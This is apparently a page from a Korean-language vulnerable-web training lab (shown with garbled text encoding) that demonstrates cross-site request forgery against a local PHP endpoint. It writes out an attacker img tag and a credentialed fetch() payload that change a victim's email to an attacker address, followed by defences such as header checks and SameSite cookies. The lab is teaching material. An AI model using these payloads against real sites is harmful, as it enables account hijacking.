๐Ÿšซ WEB-09: CSRF (Custom Header ๊ฒ€์ฆ ๋ˆ„๋ฝ)

Same-Origin Policy๋ฅผ ์šฐํšŒํ•˜์—ฌ ์˜๋„ํ•˜์ง€ ์•Š์€ ์š”์ฒญ ์‹คํ–‰

๐Ÿ” ํ˜„์žฌ ์‚ฌ์šฉ์ž ์ •๋ณด

ID: 0

์ด๋ฉ”์ผ: user@example.com

๐Ÿ“ง ์ด๋ฉ”์ผ ๋ณ€๊ฒฝ (์ •์ƒ ์š”์ฒญ)


โš ๏ธ CSRF ๊ณต๊ฒฉ ์‹œ๋ฎฌ๋ ˆ์ด์…˜

๊ณต๊ฒฉ์ž ์‚ฌ์ดํŠธ(attacker.com)์˜ ์•…์˜์ ์ธ HTML:

<img src="http://localhost/web09_csrf.php?
  action=change_email&
  new_email=hacker@evil.com&
  csrf_token=..." />

๐Ÿ’ก ๊ณต๊ฒฉ ์›๋ฆฌ:
1. ํ”ผํ•ด์ž๊ฐ€ ์ด ํŽ˜์ด์ง€๋ฅผ ๋ฐฉ๋ฌธ
2. ์ด๋ฏธ์ง€ ๋กœ๋“œ ์‹œ ์ž๋™์œผ๋กœ ์ด๋ฉ”์ผ ๋ณ€๊ฒฝ ์š”์ฒญ ์ „์†ก
3. ์ฟ ํ‚ค๊ฐ€ ์ž๋™ ํฌํ•จ๋˜์–ด ํ”ผํ•ด์ž ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋จ
4. ์ด๋ฉ”์ผ์ด ๋ณ€๊ฒฝ๋จ (ํ”ผํ•ด์ž๋Š” ๋ชจ๋ฆ„)

๐Ÿšจ ์ทจ์•ฝ ์ด์œ : GET ์š”์ฒญ์œผ๋กœ ์ƒํƒœ ๋ณ€๊ฒฝ ๊ฐ€๋Šฅ

๋” ์ง„ํ–‰๋œ ๊ณต๊ฒฉ (Custom Header ์šฐํšŒ):

fetch('http://localhost/web09_csrf.php', {
  method: 'POST',
  credentials: 'include',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  body: 'action=change_email&new_email=hacker@evil.com&csrf_token=...'
})

๐Ÿ’ก Custom Header ๊ฒ€์ฆ์ด ์—†์œผ๋ฉด ๋ชจ๋“  Origin์—์„œ ์š”์ฒญ ๊ฐ€๋Šฅ

โœ… ๋ฐฉ์–ด ๋ฐฉ๋ฒ•

1. Custom Header ๊ฒ€์ฆ:

if ($_SERVER['HTTP_X_REQUESTED_WITH'] !== 'XMLHttpRequest') {
    die('Invalid request');
}

2. GET์œผ๋กœ ์ƒํƒœ ๋ณ€๊ฒฝ ๊ธˆ์ง€: POST๋งŒ ์‚ฌ์šฉ

3. SameSite ์ฟ ํ‚ค ์„ค์ •:

setcookie('session', $value, [
    'samesite' => 'Strict'
]);

4. Double Submit Cookie: ์ฟ ํ‚ค์™€ ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ํ† ํฐ ๊ฐ’ ๋น„๊ต